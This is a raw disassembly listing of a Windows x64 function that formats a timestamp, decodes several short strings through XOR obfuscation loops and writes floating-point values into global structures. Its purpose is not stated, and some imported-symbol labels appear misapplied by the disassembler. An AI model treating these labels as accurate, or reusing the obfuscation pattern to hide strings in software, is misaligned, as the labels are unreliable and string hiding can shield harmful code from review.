cmp rdx, 0xf
jbe 0x14004a832
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14004a82d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14004aaa5
mov rcx, r8
call fcn.1400c146c
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov qword [rbp + 0xe00], rdi
lea rdx, [rbp + 0xe00]
lea rcx, [rbp + 0xb40]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0xb40]
movaps xmmword [rbp + 0xb10], xmm0
movups xmm1, xmmword [rbp + 0xb50]
movaps xmmword [rbp + 0xb20], xmm1
mov eax, dword [rbp + 0xb60]
mov dword [rbp + 0xb30], eax
movsd xmm0, qword [0x140115c48]
movsd qword [rbp + 0x68], xmm0
movzx eax, byte [0x140115c50]
mov byte [rbp + 0x68], 0x25
xor byte [rbp + 0x69], 0x39
xor byte [rbp + 0x6a], 0x3a
xor byte [rbp + 0x6b], 0x3b
xor byte [rbp + 0x6c], 0x3c
xor byte [rbp + 0x6d], 0x3d
xor byte [rbp + 0x6e], 0x3e
xor byte [rbp + 0x6f], 0x3f
xor al, 0x40
mov byte [rbp + 0x70], al
lea r9, [rbp + 0xb10]
lea r8, [rbp + 0x68]
mov edx, 0x50
lea rcx, [rbp + 0x1030]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
movups xmmword [rbp + 0x478], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x488], xmm1
lea rax, [rbp + 0x1030]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004a900
lea rdx, [rbp + 0x1030]
lea rcx, [rbp + 0x478]
call fcn.14004f2f0
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x14004a95e
mov rcx, qword [0x14016b328]
inc rdx
cmp rdx, 0x1000
jb 0x14004a959
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14004aaa5
mov rcx, r8
call fcn.1400c146c
movups xmm0, xmmword [rbp + 0x478]
mov eax, dword [str.TXIO_]
movups xmmword [0x14016b328], xmm0
mov dword [rbp - 0x28], eax
movups xmm1, xmmword [rbp + 0x488]
movdqa xmm0, xmmword [0x1401160e0]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x478], 0
movdqu xmmword [rbp + 0x488], xmm0
movups xmmword [0x14016b338], xmm1
mov byte [rbp - 0x28], WSAGetLastError
xor byte [rbp - 0x27], 0x39
xor byte [rbp - 0x26], 0x3a
xor byte [rbp - 0x25], 0x3b
xor al, 0x3c
mov byte [rbp - 0x24], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x658], xmm0
mov qword [rbp + 0x668], rsi
mov qword [rbp + 0x670], rsi
lea rax, [rbp - 0x28]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14004a9d5
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x658]
call fcn.14004f2f0
lea r8, [rbp + 0x658]
lea rdx, [rbp + 0x978]
lea rcx, [0x14016cae0]
call fcn.1400707c0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x14004aa14
mov rax, qword [rax]
mov rbx, r14
inc rbx
cmp byte [rax + rbx], 0
jne 0x14004aa17
mov rcx, qword [reloc.WS2_32.dll_ntohs]
cmp rbx, rcx
ja 0x14004aa5a
cmp rcx, 0xf
lea rdi, [0x14016b348]
cmova rdi, qword [0x14016b348]
mov qword [0x14016b358], rbx
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x14004aa6d
mov r9, rax
mov rdx, rbx
lea rcx, [0x14016b348]
call fcn.14004fa10
nop
mov rdx, qword [rbp + 0x990]
cmp rdx, 0xf
jbe 0x14004aab1
inc rdx
mov rcx, qword [rbp + 0x978]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004aaac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004aaac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c146c
movdqa xmm0, xmmword [0x1401160e0]
movdqu xmmword [rbp + 0x988], xmm0
mov byte [rbp + 0x978], 0
mov dword [0x14016c738], 2
mov rdx, qword [rbp + 0xe98]
cmp rdx, 0xf
jbe 0x14004ab0f
inc rdx
mov rcx, qword [rbp + 0xe80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ab0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ab5e
call fcn.1400c146c
movdqa xmm0, xmmword [0x1401160e0]
movdqu xmmword [rbp + 0xe90], xmm0
mov byte [rbp + 0xe80], 0
mov rdx, qword [rbp + 0xe78]
cmp rdx, 0xf
jbe 0x14004ab6a
inc rdx
mov rcx, qword [rbp + 0xe60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ab65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004ab65
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c146c
movdqa xmm0, xmmword [0x1401160e0]
movdqu xmmword [rbp + 0xe70], xmm0
mov byte [rbp + 0xe60], 0
mov rdi, qword [rsp + 0x60]
movups xmm0, xmmword [0x140115a00]
movups xmmword [rbp + 0x498], xmm0
movsd xmm0, qword [0x140115a10]
movsd qword [rbp + 0x4a8], xmm0
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x14004ad2f
cmp r15d, 2
jl 0x14004acf5
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x49c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x14004abf0
jmp 0x14004ad2f
lea r8, [rbp + 0x498]
nop dword [rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x38
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x18
jl 0x14004ad00
movaps xmm0, xmmword [0x140116250]
movups xmmword [rbp + 0xac8], xmm0
lea rcx, [rbp + 0xac8]
call fcn.1400047d0
mov r9d, eax
movss xmm0, dword [rbp - 8]
movss dword [rbp + 0x3a8], xmm0
subss xmm8, xmm7
movaps xmm0, xmm8
addss xmm0, xmm13
movss dword [rbp + 0x3ac], xmm0
mov rcx, qword [0x14016ca40]
test eax, 0xff000000
je 0x14004adfc
lea rax, [rbp + 0x498]
inc r14
cmp byte [rax + r14], 0
jne 0x14004ad84
lea r8, [rbp + 0x498]
add r8, r14
lea rax, [rbp + 0x498]
cmp rax, r8
je 0x14004adfc
test rcx, rcx
jne 0x14004adb1
mov rax, qword [rdi + 0x38]
mov rcx, qword [rax + 8]
movups xmm0, xmmword [rdi + 0x88]
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm10
mov qword [rsp + 0x38], r8
lea rax, [rbp + 0x498]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r9d
lea r9, [rbp + 0x3a8]
movaps xmm2, xmm12
mov rdx, rdi
call fcn.14002cd40
mov rcx, qword [0x14016c730]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
subss xmm14, dword [rbp + 0x110]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm14, xmm0
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
addss xmm1, xmm8
movss dword [rax + 0x110], xmm14
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
mov qword [rbp + 0x3a0], 0
movsd xmm0, qword [str.j_ROI_M_]
movsd qword [rbp + 0x58], xmm0
movzx eax, byte [0x140115a78]
mov byte [rbp + 0x58], 0x52
xor byte [rbp + 0x59], 0x39
xor byte [rbp + 0x5a], 0x3a
xor byte [rbp + 0x5b], 0x3b
xor byte [rbp + 0x5c], 0x3c
xor byte [rbp + 0x5d], 0x3d
xor byte [rbp + 0x5e], 0x3e
xor byte [rbp + 0x5f], 0x3f
xor al, 0x40
mov byte [rbp + 0x60], al
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x58]
call fcn.140030300
test al, al
je 0x14004aebf
mov dword [0x14016c738], 1
call fcn.140010a80
mov rcx, qword [rbp + 0x1080]
xor rcx, rsp
call fcn.1400c11b0
lea r11, [rsp + 0x1230]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14004df50
nop
mov rcx, rax
call fcn.14004db80
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x60]
lea rcx, [rbp + 0xd68]
call fcn.14005b5a0
nop
mov r8, rax
lea rcx, [rbp + 0xcd8]
call fcn.14005b660
lea rdx, [0x1401244d0]
lea rcx, [rbp + 0xcd8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14004db80
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x60]
lea rcx, [rbp + 0xd48]
call fcn.14005b5a0
nop
mov r8, rax
lea rcx, [rbp + 0xd10]
call fcn.14005b660
lea rdx, [0x1401244d0]
lea rcx, [rbp + 0xd10]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.14003b920
int3
call fcn.14004df50
nop
call fcn.14003b920
nop
call fcn.14003b920
int3